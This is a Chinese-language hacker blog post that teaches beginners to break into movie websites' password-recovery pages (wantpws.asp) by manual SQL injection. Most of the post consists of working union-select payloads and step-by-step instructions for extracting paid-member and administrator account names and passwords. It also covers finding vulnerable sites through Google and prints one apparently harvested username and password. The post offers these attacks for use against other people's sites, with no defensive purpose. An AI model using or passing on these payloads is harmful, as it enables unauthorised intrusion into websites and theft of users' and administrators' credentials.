H4x0r's Blog

老东西了,刚找出来的,给菜鸟们看看

一、准备工作：本次入侵不用工具！

全部用手工入侵，方法简单，容易操作。用到的代码有：

1.得到黄金会员账号和密码：

a' union select id from users where oklook=3 or ' 0

a' union select userid from users where id=2626 or ' 0

a' union select password from users where id=2626 or ' 0

2.得到管理员账号和密码：

a' union select name from password where id>=1 or ' 0

a' union select pwd from password where id>=1 or ' 0

(其中1为管理员，2为白银会员，3为黄金会员，4为钻石会员。)

不过很多网站的1，2，4都打不开或不存在，所以这次主要讲讲黄金会员的得到方法，希望大家喜欢！！！

二、好了，现在就开始工作吧！首先用http://google.com搜索一下wantpws.asp这是“找回密码”的调用页面语句

随便找一个电影网站打开，看到了吗？像这样的就可以。然后在“你注册用户名：”中随便输入字符（最好不要输入特殊字符），在“密码提示问题：”中也随便输入字符（最好也不要输入特殊字符），最后在“密码提示答案：”中输入下面代码：

a' union select id from users where oklook=3 or ' 0

提交，得到黄金会员的ID号。再后退回到忘记密码页面。在“你注册用户名：”中随便输入字符，在“密码提示问题：”中也随便输入字符，在“密码提示答案：”中输入下面代码：

a' union select userid from users where id=1229 or ' 0

提交，得到黄金会员的用户名：yys007

再后退回到忘记密码页面。在“你注册用户名：”中随便输入字符，在“密码提示问题：”中也随便输入字符，在“密码提示答案：”中输入下面代码：

a' union select password from users where id=1229 or ' 0

提交，得到黄金会员的用户名对应的密码：123456123，把3改成2或用同样的方法得到钻石会员或白银会员的账号和密码。

同样，在“你注册用户名：”中随便输入字符，在“密码提示问题：”中也随便输入字符，在“密码提示答案：”中输入下面代码：得到管理员账号：a' union select name from password where id>=1 or ' 0得到管理员密码：a' union select pwd from password where id>=1 or ' 0

至于管理员的登陆页面怎么找，网上这样的文章太多了，大家就自己找着看看！！